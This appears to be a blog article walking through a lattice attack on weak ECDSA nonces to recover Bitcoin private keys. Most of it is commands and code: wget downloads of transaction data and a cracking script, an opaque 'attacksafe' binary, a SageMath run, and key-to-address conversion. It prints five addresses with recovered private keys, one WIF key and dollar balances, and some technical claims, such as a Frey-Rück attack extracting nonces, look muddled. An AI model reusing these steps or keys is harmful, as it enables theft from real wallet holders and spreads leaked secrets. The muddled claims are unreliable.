ATTACKER  

In our previous article, we explored the Lattice Attack as a method to solve the Hidden Number Problem (HNP). With the introduction of a new attack called POLYNONCE, we decided to expand on our research and conduct an experiment using 79 ECDSA signatures.

Previously, we worked with a 128-bit polynomial, but by increasing the number of signatures, we were able to extend the polynomial length to 249 bits.

The main objective is to recover hidden numbers.

Solving the Hidden Number Problem with a Lattice Attack on 249 Bits and 79 ECDSA Signatures

In this article, we will walk through five independent examples of cryptanalysis on the Bitcoin blockchain. All examples are available in a GitHub repository.

For the theoretical background, we refer to the paper “Lattice Attack on Bitcoin” and other related sources.

Example with a Bitcoin Address:

Address:
19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z

Hash:
6a941396b28a72ac834d922165995e6685a760f884dbb9e8b6dea95b01f0aae8

RawTX:
(HEX transaction, unchanged)

Go to Google Colab and choose to upload a notebook.

Download the file LATTICE_ATTACK_249bits.ipynb.

Retrieve the HEX data using wget and save it to RawTX.txt:

bash!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/example1/HEX.txt

Extract the required bits from the file:

pythonwith open("HEX.txt") as myfile:
    listfile="\n".join(f'{line.rstrip()[:+298]}' for line in myfile)

f = open("RawTX.txt", 'w')
f.write("" + listfile + "" + "\n")
f.close()

For the attack, we use the ATTACKSAFE SOFTWARE.

Using the Frey-Rück Attack, we extract the secret key (NONCE).

Grant execution permissions and check the list of available attacks:

!chmod +x attacksafe
!./attacksafe -help
!./attacksafe -list

Select the lattice_attack tool. To obtain R, S, Z values from the ECDSA signatures, use the previously saved RawTX.txt file.

Run the attack:

!./attacksafe -tool lattice_attack -open RawTX.txt -save SignatureRSZ.csv

The result is saved in SignatureRSZ.csv.

To compute the private key, you will need SageMath. Download and extract it:

!wget https://cryptodeeptech.ru/sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
!tar -xf sage-9.3-Ubuntu_20.04-x86_64.tar.bz2
cd SageMath/
!python3 relocate-once.py
!mv '/content/attacksafe' '/content/SageMath/attacksafe'
!mv '/content/SignatureRSZ.csv' '/content/SageMath/SignatureRSZ.csv'

Download the script for attacking weak NONCEs:

!wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/21LatticeAttack/crack_weak_ECDSA_nonces_with_LLL.py

Launch SageMath:

!./sage -sh

Run the script to compute the private key:

python3 crack_weak_ECDSA_nonces_with_LLL.py SignatureRSZ.csv 249 79 > PrivateKey.txt
cat PrivateKey.txt

As a result, you obtain the private key in HEX format:

textPrivKey = 0x9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941

Checking POLYNONCE for Each ECDSA Signature

Use the POLYNONCE.py script from GitHub.

This produces 79 identical initial bits out of 249.

Thanks to the secp256k1 curve values and the LAMBDA and BETA parameters, we were able to reveal the initial bits, obtain the private key, and recover the Bitcoin wallet.

Verifying the Private Key

Install the bitcoin module and run the code to obtain the address from the private key:

from bitcoin import *

with open("PrivateKey.txt","r") as f:
    content = f.readlines()

content = [x.strip() for x in content]
f.close()

outfile = open("PrivateKeyAddr.txt","w")
for x in content:
  outfile.write(x+":"+pubtoaddr(encode_pubkey(privtopub(x), "bin_compressed"))+"\n")

outfile.close()

In the PrivateKeyAddr.txt file, you can see the correspondence between the private key and the address.

Check via bitaddress and blockchain.com:

• ADDR: 19mJofzRwwwx4VmXuAXgX6pgM3qzJqi25z
• WIF: L2PhDrYZw6fWqeLZMnMeAXvxZ47MEnepaQVLL2EazbRhqesytoQB
• HEX: 9a52a4dbcc148f1480a6fb5311252524fc498eb508c7cb8f63bbee4b9af37941
• Balance: $1015.58

Briefly About the Other Examples

Example #2

• Address: 1GPZVDUyPM6qxCsJQrpJeo14WDRVLvTZ2Z
• The steps are the same: download data, run lattice_attack, obtain the private key, check with POLYNONCE, and recover the address.
• Private key HEX: 00db251a1ab7cfa7679dfe61271d0af4bb9c68595178cf4c9237478eab2dba1d
• Balance: $999.10

Example #3

• Address: 18Y9nUpdtxAKTh6yaN299jfUxcpJ2ApHz
• The procedure is identical to the previous examples.
• Private key HEX: 80e3052532356bc701189818c095fb8a7f035fd7a5a96777df4162205e945aa5
• Balance: $1023.25

Example #4

• Address: 12fqNTJc1wj2xfNscYHAzehD6f6sRjWBor
• Again, follow the same steps: prepare data, run the attacks, obtain the key, verify.
• Private key HEX: 9e636a4ef1a63c4bd385b8d26d29f6394a29963f12109dbf34fef74377866a32
• Balance: $406.03

Example #5

• Address: 1L8v5aUZRzYbGKWcj9Yt6mGdd95Sy9bXjN
• Repeat all the steps: collect data, run attacksafe, compute the key, verify.
• Private key HEX: e2eadbde2e6a2adb6f81864cdf574dd44959717fe095486e2c0e55585594edf2
• Balance: $995.39

References

• Lattice Attacks against Elliptic-Curve Signatures with Blinded Scalar Multiplication (Dahmun Goudarzi et al.)
• Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies (Joachim Breitner, Nadia Heninger)
• Return of the Hidden Number Problem (Keegan Ryan)
• Minerva: The curse of ECDSA nonces (Ján Jančár et al.)
• Estimating the Effectiveness of Lattice Attacks (Kotaro Abe and Makoto Ikeda)

Source

ATTACKSAFE SOFTWARE

Telegram: https://t.me/cryptodeeptech

Video: https://youtu.be/CzaHitewN-4

Source: https://cryptodeeptech.ru/lattice-attack-249bits